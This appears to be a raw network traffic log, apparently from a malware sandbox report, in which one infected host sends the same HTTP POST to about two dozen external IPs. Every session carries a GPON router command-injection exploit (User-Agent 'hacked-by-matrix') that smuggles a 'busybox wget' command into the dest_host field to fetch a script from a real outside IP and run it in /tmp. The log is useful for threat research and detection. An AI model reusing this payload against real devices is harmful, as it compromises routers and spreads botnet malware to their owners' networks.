Mar 2, 2024 12:37:28.965590954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	41312	37.13.144.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965626001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	42268	37.202.110.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965656996 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	56344	2.208.200.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965662003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	39794	42.151.68.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965681076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	34088	42.101.91.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965687037 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	48998	94.138.175.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965718985 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	58508	42.28.5.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965740919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	60836	109.154.59.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965749979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	58030	94.23.117.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965756893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	34934	42.22.191.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965769053 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	48478	5.44.93.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965780973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	41900	5.148.31.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965817928 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	42124	42.189.186.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965822935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	44416	210.30.91.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965822935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	41304	79.198.43.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965845108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	38686	109.161.40.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965856075 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	42788	2.150.90.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965869904 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	55984	37.117.103.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965892076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	58274	79.10.237.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965914965 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	34164	109.32.21.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965939999 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	54054	94.214.121.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965965986 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	50938	109.244.38.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965965986 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	43604	118.18.15.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965986967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	40790	212.68.219.184	443

Timestamp	Bytes transferred	Direction	Data
